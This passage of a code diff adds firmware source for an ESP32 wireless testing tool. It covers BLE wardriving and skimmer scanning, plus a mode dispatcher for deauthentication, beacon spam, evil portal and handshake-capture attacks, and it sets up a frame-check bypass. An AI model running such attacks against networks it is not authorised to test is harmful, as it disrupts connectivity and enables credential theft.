+ display_string.concat(advertisedDevice->getAddress().toString().c_str());
+ Serial.print(advertisedDevice->getAddress().toString().c_str());
+ }
+
+ #ifdef HAS_SCREEN
+ uint8_t temp_len = display_string.length();
+ for (uint8_t i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.println();
+
+ while (display_obj.printing)
+ delay(1);
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ #endif
+ }
+ }
+ else if ((wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) || (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT)) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ bool do_save = false;
+ if (buf >= 0)
+ {
+ Serial.print("Device: ");
+ if(advertisedDevice->getName().length() != 0)
+ {
+ display_string.concat(advertisedDevice->getName().c_str());
+ Serial.print(advertisedDevice->getName().c_str());
+
+ }
+ else
+ {
+ display_string.concat(advertisedDevice->getAddress().toString().c_str());
+ Serial.print(advertisedDevice->getAddress().toString().c_str());
+ }
+
+ if (gps_obj.getFixStatus()) {
+ do_save = true;
+ display_string.concat(" | Lt: " + gps_obj.getLat());
+ display_string.concat(" | Ln: " + gps_obj.getLon());
+ }
+ else {
+ display_string.concat(" | GPS: No Fix");
+ }
+
+ #ifdef HAS_SCREEN
+ uint8_t temp_len = display_string.length();
+ for (uint8_t i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.println();
+
+ while (display_obj.printing)
+ delay(1);
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ #endif
+
+ String wardrive_line = (String)advertisedDevice->getAddress().toString().c_str() + ",,[BLE]," + gps_obj.getDatetime() + ",0," + (String)advertisedDevice->getRSSI() + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",BLE\n";
+ Serial.print(wardrive_line);
+
+ if (do_save)
+ buffer_obj.append(wardrive_line);
+ }
+ }
+ #endif
+ }
+ }
+ };
+
+ class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
+ void onResult(BLEAdvertisedDevice *advertisedDevice) {
+ String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
+
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+
+ if (buf >= 0)
+ {
+ Serial.print("Device: ");
+ String display_string = "";
+ if(advertisedDevice->getName().length() != 0)
+ {
+ Serial.print(advertisedDevice->getName().c_str());
+ for(uint8_t i = 0; i < bad_list_length; i++)
+ {
+ #ifdef HAS_SCREEN
+ if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
+ {
+ display_string.concat(text_table4[1]);
+ display_string.concat(" ");
+ display_string.concat(advertisedDevice->getName().c_str());
+ uint8_t temp_len = display_string.length();
+ for (uint8_t i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+ while (display_obj.printing)
+ delay(1);
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+ }
+ }
+ else
+ {
+ Serial.print(advertisedDevice->getAddress().toString().c_str());
+ }
+ Serial.print(" RSSI: ");
+ Serial.println(advertisedDevice->getRSSI());
+ }
+ }
+ };
+#endif
+
+
+WiFiScan::WiFiScan()
+{
+}
+
+String WiFiScan::macToString(const Station& station) {
+ char macStr[18]; // 6 pairs of hex digits + 5 colons + null terminator
+ snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X",
+ station.mac[0], station.mac[1], station.mac[2],
+ station.mac[3], station.mac[4], station.mac[5]);
+ return String(macStr);
+}
+
+void WiFiScan::RunSetup() {
+ if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
+ this->wsl_bypass_enabled = true;
+ else
+ this->wsl_bypass_enabled = false;
+
+ ssids = new LinkedList();
+ access_points = new LinkedList();
+ stations = new LinkedList();
+
+ #ifdef HAS_BT
+ watch_models = new WatchModel[26] {
+ {0x1A, "Fallback Watch"},
+ {0x01, "White Watch4 Classic 44m"},
+ {0x02, "Black Watch4 Classic 40m"},
+ {0x03, "White Watch4 Classic 40m"},
+ {0x04, "Black Watch4 44mm"},
+ {0x05, "Silver Watch4 44mm"},
+ {0x06, "Green Watch4 44mm"},
+ {0x07, "Black Watch4 40mm"},
+ {0x08, "White Watch4 40mm"},
+ {0x09, "Gold Watch4 40mm"},
+ {0x0A, "French Watch4"},
+ {0x0B, "French Watch4 Classic"},
+ {0x0C, "Fox Watch5 44mm"},
+ {0x11, "Black Watch5 44mm"},
+ {0x12, "Sapphire Watch5 44mm"},
+ {0x13, "Purpleish Watch5 40mm"},
+ {0x14, "Gold Watch5 40mm"},
+ {0x15, "Black Watch5 Pro 45mm"},
+ {0x16, "Gray Watch5 Pro 45mm"},
+ {0x17, "White Watch5 44mm"},
+ {0x18, "White & Black Watch5"},
+ {0x1B, "Black Watch6 Pink 40mm"},
+ {0x1C, "Gold Watch6 Gold 40mm"},
+ {0x1D, "Silver Watch6 Cyan 44mm"},
+ {0x1E, "Black Watch6 Classic 43m"},
+ {0x20, "Green Watch6 Classic 43m"},
+ };
+
+ NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+ NimBLEDevice::setScanDuplicateCacheSize(200);
+ NimBLEDevice::init("");
+ pBLEScan = NimBLEDevice::getScan(); //create new scan
+ this->ble_initialized = true;
+
+ this->shutdownBLE();
+ #endif
+
+ this->initWiFi(1);
+}
+
+int WiFiScan::clearStations() {
+ int num_cleared = stations->size();
+ stations->clear();
+ Serial.println("stations: " + (String)stations->size());
+
+ // Now clear stations list from APs
+ for (int i = 0; i < access_points->size(); i++)
+ access_points->get(i).stations->clear();
+
+ return num_cleared;
+}
+
+bool WiFiScan::checkMem() {
+ if (esp_get_free_heap_size() <= MEM_LOWER_LIM)
+ return false;
+ else
+ return true;
+}
+
+int WiFiScan::clearAPs() {
+ int num_cleared = access_points->size();
+ while (access_points->size() > 0)
+ access_points->remove(0);
+ Serial.println("access_points: " + (String)access_points->size());
+ return num_cleared;
+}
+
+int WiFiScan::clearSSIDs() {
+ int num_cleared = ssids->size();
+ ssids->clear();
+ Serial.println("ssids: " + (String)ssids->size());
+ return num_cleared;
+}
+
+bool WiFiScan::addSSID(String essid) {
+ ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+ ssids->add(s);
+ Serial.println(ssids->get(ssids->size() - 1).essid);
+
+ return true;
+}
+
+int WiFiScan::generateSSIDs(int count) {
+ uint8_t num_gen = count;
+ for (uint8_t x = 0; x < num_gen; x++) {
+ String essid = "";
+
+ for (uint8_t i = 0; i < 6; i++)
+ essid.concat(alfa[random(65)]);
+
+ ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+ ssids->add(s);
+ Serial.println(ssids->get(ssids->size() - 1).essid);
+ }
+
+ return num_gen;
+}
+
+/*void WiFiScan::joinWiFi(String ssid, String password)
+{
+ static const char * btns[] ={text16, ""};
+ int count = 0;
+
+ if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
+ #ifdef HAS_SCREEN
+ lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+ lv_msgbox_set_text(mbox1, text_table4[2]);
+ lv_msgbox_add_btns(mbox1, btns);
+ lv_obj_set_width(mbox1, 200);
+ lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+ #endif
+ this->wifi_initialized = true;
+ return;
+ }
+ else if (WiFi.status() == WL_CONNECTED) {
+ Serial.println("Already connected. Disconnecting...");
+ WiFi.disconnect();
+ }
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+
+ WiFi.begin(ssid.c_str(), password.c_str());
+
+ Serial.print("Connecting to WiFi");
+ while (WiFi.status() != WL_CONNECTED) {
+ delay(500);
+ Serial.print(".");
+ count++;
+ if (count == 10)
+ {
+ Serial.println("\nCould not connect to WiFi network");
+ #ifdef HAS_SCREEN
+ lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+ lv_msgbox_set_text(mbox1, text_table4[3]);
+ lv_msgbox_add_btns(mbox1, btns);
+ lv_obj_set_width(mbox1, 200);
+ //lv_obj_set_event_cb(mbox1, event_handler);
+ lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+ #endif
+ WiFi.mode(WIFI_OFF);
+ return;
+ }
+ }
+
+ #ifdef HAS_SCREEN
+ lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+ lv_msgbox_set_text(mbox1, text_table4[4]);
+ lv_msgbox_add_btns(mbox1, btns);
+ lv_obj_set_width(mbox1, 200);
+ lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+ #endif
+ connected_network = ssid;
+
+ Serial.println("\nConnected to the WiFi network");
+ Serial.print("IP address: ");
+ Serial.println(WiFi.localIP());
+ this->wifi_initialized = true;
+}*/
+
+// Apply WiFi settings
+void WiFiScan::initWiFi(uint8_t scan_mode) {
+ // Set the channel
+ if (scan_mode != WIFI_SCAN_OFF) {
+ //Serial.println(F("Initializing WiFi settings..."));
+ this->changeChannel();
+
+ this->force_pmkid = settings_obj.loadSetting(text_table4[5]);
+ this->force_probe = settings_obj.loadSetting(text_table4[6]);
+ this->save_pcap = settings_obj.loadSetting(text_table4[7]);
+ //Serial.println(F("Initialization complete"));
+ }
+}
+
+bool WiFiScan::scanning() {
+ if (this->currentScanMode == WIFI_SCAN_OFF)
+ return false;
+ else
+ return true;
+}
+
+// Function to prepare to run a specific scan
+void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
+{
+ this->initWiFi(scan_mode);
+ if (scan_mode == WIFI_SCAN_OFF)
+ StopScan(scan_mode);
+ else if (scan_mode == WIFI_SCAN_PROBE)
+ RunProbeScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE)
+ RunProbeScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_EVIL_PORTAL)
+ RunEvilPortal(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_EAPOL)
+ RunEapolScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+ RunEapolScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+ RunEapolScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_AP)
+ RunBeaconScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_WAR_DRIVE)
+ RunBeaconScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_SIG_STREN)
+ RunRawScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
+ RunRawScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_STATION)
+ RunStationScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_TARGET_AP)
+ RunAPScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+ RunAPScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_PWN)
+ RunPwnScan(scan_mode, color);
+ else if (scan_mode == WIFI_SCAN_DEAUTH)
+ RunDeauthScan(scan_mode, color);
+ else if (scan_mode == WIFI_PACKET_MONITOR) {
+ #ifdef HAS_SCREEN
+ RunPacketMonitor(scan_mode, color);
+ #endif
+ }
+ else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
+ this->startWiFiAttacks(scan_mode, color, text_table1[50]);
+ else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
+ this->startWiFiAttacks(scan_mode, color, text_table1[51]);
+ else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
+ this->startWiFiAttacks(scan_mode, color, text_table1[52]);
+ else if (scan_mode == WIFI_ATTACK_AUTH)
+ this->startWiFiAttacks(scan_mode, color, text_table1[53]);
+ else if (scan_mode == WIFI_ATTACK_DEAUTH)
+ this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+ else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
+ this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+ else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
+ this->startWiFiAttacks(scan_mode, color, text_table4[47]);
+ else if (scan_mode == WIFI_ATTACK_AP_SPAM)
+ this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
+ else if (scan_mode == BT_SCAN_ALL) {
+ #ifdef HAS_BT
+ RunBluetoothScan(scan_mode, color);
+ #endif
+ }
+ else if (scan_mode == BT_ATTACK_SOUR_APPLE) {
+ #ifdef HAS_BT
+ RunSourApple(scan_mode, color);
+ #endif
+ }
+ else if ((scan_mode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (scan_mode == BT_ATTACK_SPAM_ALL) ||
+ (scan_mode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (scan_mode == BT_ATTACK_GOOGLE_SPAM)) {
+ #ifdef HAS_BT
+ RunSwiftpairSpam(scan_mode, color);
+ #endif
+ }
+ else if ((scan_mode == BT_SCAN_WAR_DRIVE) ||
+ (scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
+ #ifdef HAS_BT
+ RunBluetoothScan(scan_mode, color);
+ #endif
+ }
+ else if (scan_mode == BT_SCAN_SKIMMERS) {
+ #ifdef HAS_BT
+ RunBluetoothScan(scan_mode, color);
+ #endif
+ }
+ else if (scan_mode == LV_ADD_SSID) {
+ #ifdef HAS_SCREEN
+ RunLvJoinWiFi(scan_mode, color);
+ #endif
+ }
+ else if (scan_mode == WIFI_SCAN_GPS_NMEA){
+ #ifdef HAS_GPS
+ gps_obj.enable_queue();
+ #endif
+ }
+
+ WiFiScan::currentScanMode = scan_mode;
+}
+
+void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
+ // Common wifi attack configurations
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color);
+ display_obj.tft.drawCentreString((String)title_string,TFT_WIDTH / 2,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ #endif
+
+ //wifi_ap_config_t ap_config;
+ //ap_config.ssid_hidden = 1;
+
+ ap_config.ap.ssid_hidden = 1;
+ ap_config.ap.beacon_interval = 10000;
+ ap_config.ap.ssid_len = 0;
+
+ packets_sent = 0;
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_AP);
+ esp_wifi_set_config(WIFI_IF_AP, &ap_config);
+ esp_wifi_start();
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+
+ //WiFi.mode(WIFI_AP_STA);
+
+ //esp_wifi_init(&cfg);
+ //esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ //esp_wifi_set_mode(WIFI_AP_STA);
+ //esp_wifi_start();
+ //esp_wifi_set_promiscuous_filter(NULL);
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_max_tx_power(82);
+ this->wifi_initialized = true;
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.attackLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.attackLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.attackLED();
+ #else
+ led_obj.setMode(MODE_ATTACK);
+ #endif
+ initTime = millis();
+}
+
+bool WiFiScan::shutdownWiFi() {
+ if (this->wifi_initialized) {
+ esp_wifi_set_promiscuous(false);
+ WiFi.disconnect();
+ WiFi.mode(WIFI_OFF);
+
+ dst_mac = "ff:ff:ff:ff:ff:ff";
+
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_stop();
+ esp_wifi_restore();
+ esp_wifi_deinit();
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.offLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.offLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.offLED();
+ #else
+ led_obj.setMode(MODE_OFF);
+ #endif
+
+ this->wifi_initialized = false;
+ return true;
+ }
+ else {
+ return false;
+ }
+}
+
+bool WiFiScan::shutdownBLE() {
+ #ifdef HAS_BT
+ if (this->ble_initialized) {
+ pAdvertising->stop();
+ pBLEScan->stop();
+
+ pBLEScan->clearResults();
+ NimBLEDevice::deinit();
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.offLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.offLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.offLED();
+ #else
+ led_obj.setMode(MODE_OFF);
+ #endif
+
+ this->ble_initialized = false;
+ return true;
+ }
+ else {
+ return false;
+ }
+ #endif
+
+ return true;
+}
+
+// Function to stop all wifi scans
+void WiFiScan::StopScan(uint8_t scan_mode)
+{
+ if ((currentScanMode == WIFI_SCAN_PROBE) ||
+ (currentScanMode == WIFI_SCAN_AP) ||
+ (currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
+ (currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
+ (currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
+ (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+ (currentScanMode == WIFI_SCAN_STATION) ||
+ (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+ (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+ (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+ (currentScanMode == WIFI_SCAN_PWN) ||
+ (currentScanMode == WIFI_SCAN_EAPOL) ||
+ (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+ (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) ||
+ (currentScanMode == WIFI_SCAN_ALL) ||
+ (currentScanMode == WIFI_SCAN_DEAUTH) ||
+ (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+ (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+ (currentScanMode == WIFI_ATTACK_AUTH) ||
+ (currentScanMode == WIFI_ATTACK_DEAUTH) ||
+ (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+ (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+ (currentScanMode == WIFI_ATTACK_MIMIC) ||
+ (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+ (currentScanMode == WIFI_PACKET_MONITOR) ||
+ (currentScanMode == LV_JOIN_WIFI))
+ {
+ this->shutdownWiFi();
+ }
+
+
+ else if ((currentScanMode == BT_SCAN_ALL) ||
+ (currentScanMode == BT_ATTACK_SOUR_APPLE) ||
+ (currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL) ||
+ (currentScanMode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (currentScanMode == BT_ATTACK_GOOGLE_SPAM) ||
+ (currentScanMode == BT_SCAN_WAR_DRIVE) ||
+ (currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
+ (currentScanMode == BT_SCAN_SKIMMERS))
+ {
+ #ifdef HAS_BT
+ this->shutdownBLE();
+ #endif
+ }
+
+ #ifdef HAS_SCREEN
+ display_obj.display_buffer->clear();
+ #ifdef SCREEN_BUFFER
+ display_obj.screen_buffer->clear();
+ #endif
+ //Serial.print("display_buffer->size(): ");
+ Serial.println(display_obj.display_buffer->size());
+
+ display_obj.tteBar = false;
+ #endif
+
+ #ifdef HAS_GPS
+ gps_obj.disable_queue();
+ #endif
+}
+
+String WiFiScan::getStaMAC()
+{
+ char *buf;
+ uint8_t mac[6];
+ char macAddrChr[18] = {0};
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+ this->wifi_initialized = true;
+ sprintf(macAddrChr,
+ "%02X:%02X:%02X:%02X:%02X:%02X",
+ mac[0],
+ mac[1],
+ mac[2],
+ mac[3],
+ mac[4],
+ mac[5]);
+ this->shutdownWiFi();
+ return String(macAddrChr);
+}
+
+String WiFiScan::getApMAC()
+{
+ char *buf;
+ uint8_t mac[6];
+ char macAddrChr[18] = {0};
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+ this->wifi_initialized = true;
+ sprintf(macAddrChr,
+ "%02X:%02X:%02X:%02X:%02X:%02X",
+ mac[0],
+ mac[1],
+ mac[2],
+ mac[3],
+ mac[4],
+ mac[5]);
+ this->shutdownWiFi();
+ return String(macAddrChr);
+}
+
+bool WiFiScan::mac_cmp(struct mac_addr addr1, struct mac_addr addr2) {
+ //Return true if 2 mac_addr structs are equal.
+ for (int y = 0; y < 6 ; y++) {
+ if (addr1.bytes[y] != addr2.bytes[y]) {
+ return false;
+ }
+ }
+ return true;
+}
+
+bool WiFiScan::seen_mac(unsigned char* mac) {
+ //Return true if this MAC address is in the recently seen array.
+
+ struct mac_addr tmp;
+ for (int x = 0; x < 6 ; x++) {
+ tmp.bytes[x] = mac[x];
+ }
+
+ for (int x = 0; x < mac_history_len; x++) {
+ if (this->mac_cmp(tmp, this->mac_history[x])) {
+ return true;
+ }
+ }
+ return false;
+}
+
+void WiFiScan::save_mac(unsigned char* mac) {
+ //Save a MAC address into the recently seen array.
+ if (this->mac_history_cursor >= mac_history_len) {
+ this->mac_history_cursor = 0;
+ }
+ struct mac_addr tmp;
+ for (int x = 0; x < 6 ; x++) {
+ tmp.bytes[x] = mac[x];
+ }
+
+ this->mac_history[this->mac_history_cursor] = tmp;
+ this->mac_history_cursor++;
+}
+
+String WiFiScan::security_int_to_string(int security_type) {
+ //Provide a security type int from WiFi.encryptionType(i) to convert it to a String which Wigle CSV expects.
+ String authtype = "";
+
+ switch (security_type) {
+ case WIFI_AUTH_OPEN:
+ authtype = "[OPEN]";
+ break;
+
+ case WIFI_AUTH_WEP:
+ authtype = "[WEP]";
+ break;
+
+ case WIFI_AUTH_WPA_PSK:
+ authtype = "[WPA_PSK]";
+ break;
+
+ case WIFI_AUTH_WPA2_PSK:
+ authtype = "[WPA2_PSK]";
+ break;
+
+ case WIFI_AUTH_WPA_WPA2_PSK:
+ authtype = "[WPA_WPA2_PSK]";
+ break;
+
+ case WIFI_AUTH_WPA2_ENTERPRISE:
+ authtype = "[WPA2]";
+ break;
+
+ //Requires at least v2.0.0 of https://github.com/espressif/arduino-esp32/
+ case WIFI_AUTH_WPA3_PSK:
+ authtype = "[WPA3_PSK]";
+ break;
+
+ case WIFI_AUTH_WPA2_WPA3_PSK:
+ authtype = "[WPA2_WPA3_PSK]";
+ break;
+
+ case WIFI_AUTH_WAPI_PSK:
+ authtype = "[WAPI_PSK]";
+ break;
+
+ default:
+ authtype = "[UNDEFINED]";
+ }
+
+ return authtype;
+}
+
+void WiFiScan::clearMacHistory() {
+ for (int i = 0; i < mac_history_len; ++i) {
+ memset(this->mac_history[i].bytes, 0, sizeof(mac_history[i].bytes));
+ }
+}
+
+String WiFiScan::freeRAM()
+{
+ char s[150];
+ sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
+ this->free_ram = String(esp_get_free_heap_size());
+ return String(s);
+}
+
+void WiFiScan::startPcap(String file_name) {
+ buffer_obj.pcapOpen(
+ file_name,
+ #if defined(HAS_SD)
+ sd_obj.supported ? &SD :
+ #endif
+ NULL,
+ save_serial // Set with commandline options
+ );
+}
+
+void WiFiScan::startLog(String file_name) {
+ buffer_obj.logOpen(
+ file_name,
+ #if defined(HAS_SD)
+ sd_obj.supported ? &SD :
+ #endif
+ NULL,
+ save_serial // Set with commandline options
+ );
+}
+
+void WiFiScan::parseBSSID(const char* bssidStr, uint8_t* bssid) {
+ sscanf(bssidStr, "%02X:%02X:%02X:%02X:%02X:%02X",
+ &bssid[0], &bssid[1], &bssid[2],
+ &bssid[3], &bssid[4], &bssid[5]);
+}
+
+void WiFiScan::RunLoadAPList() {
+ #ifdef HAS_SD
+ File file = sd_obj.getFile("/APs_0.log");
+ if (!file) {
+ Serial.println("Could not open /APs_0.log");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println("Could not open /APs_0.log");
+ #endif
+ return;
+ }
+
+ DynamicJsonDocument doc(10048);
+ DeserializationError error = deserializeJson(doc, file);
+ if (error) {
+ Serial.print("JSON deserialize error: ");
+ Serial.println(error.c_str());
+ file.close();
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println("Could not deserialize JSON");
+ display_obj.tft.println(error.c_str());
+ #endif
+ return;
+ }
+
+ JsonArray array = doc.as();
+ for (JsonObject obj : array) {
+ AccessPoint ap;
+ ap.essid = obj["essid"].as();
+ ap.channel = obj["channel"];
+ ap.selected = false;
+ parseBSSID(obj["bssid"], ap.bssid);
+ ap.stations = new LinkedList();
+ access_points->add(ap);
+ }
+
+ file.close();
+
+ //doc.clear();
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.print("Loaded APs: ");
+ display_obj.tft.println((String)access_points->size());
+ #endif
+ Serial.print("Loaded APs:");
+ Serial.println((String)access_points->size());
+ #endif
+}
+
+void WiFiScan::RunSaveAPList(bool save_as) {
+ if (save_as) {
+ sd_obj.removeFile("/APs_0.log");
+
+ this->startLog("APs");
+
+ DynamicJsonDocument jsonDocument(2048);
+
+ JsonArray jsonArray = jsonDocument.to();
+
+ for (int i = 0; i < access_points->size(); i++) {
+ const AccessPoint& ap = access_points->get(i);
+ JsonObject jsonAp = jsonArray.createNestedObject();
+ jsonAp["essid"] = ap.essid;
+ jsonAp["channel"] = ap.channel;
+
+ char bssidStr[18];
+ sprintf(bssidStr, "%02X:%02X:%02X:%02X:%02X:%02X",
+ ap.bssid[0], ap.bssid[1], ap.bssid[2],
+ ap.bssid[3], ap.bssid[4], ap.bssid[5]);
+ jsonAp["bssid"] = bssidStr;
+ }
+
+ String jsonString;
+ serializeJson(jsonArray, jsonString);
+
+ buffer_obj.append(jsonString);
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.print("Saved APs: ");
+ display_obj.tft.println((String)access_points->size());
+ #endif
+ Serial.print("Saved APs:");
+ Serial.println((String)access_points->size());
+ }
+}
+
+void WiFiScan::RunLoadSSIDList() {
+ #ifdef HAS_SD
+ File log_file = sd_obj.getFile("/SSIDs_0.log");
+ if (!log_file) {
+ Serial.println("Could not open /SSIDs_0.log");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.println("Could not open /SSIDs_0.log");
+ #endif
+ return;
+ }
+ while (log_file.available()) {
+ String line = log_file.readStringUntil('\n'); // Read until newline character
+ this->addSSID(line);
+ }
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+ display_obj.tft.setTextColor(TFT_CYAN);
+
+ display_obj.tft.print("Loaded SSIDs: ");
+ display_obj.tft.println((String)ssids->size());
+ #endif
+
+ log_file.close();
+
+ Serial.print("Loaded SSIDs: ");
+ Serial.println((String)ssids->size());
+ #endif
+}
+
+void WiFiScan::RunSaveSSIDList(bool save_as) {
+ if (save_as) {
+ sd_obj.removeFile("/SSIDs_0.log");
+
+ this->startLog("SSIDs");
+
+ for (int i = 0; i < ssids->size(); i++) {
+ if (i < ssids->size() - 1)
+ buffer_obj.append(ssids->get(i).essid + "\n");
+ else
+ buffer_obj.append(ssids->get(i).essid);
+ }
+
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
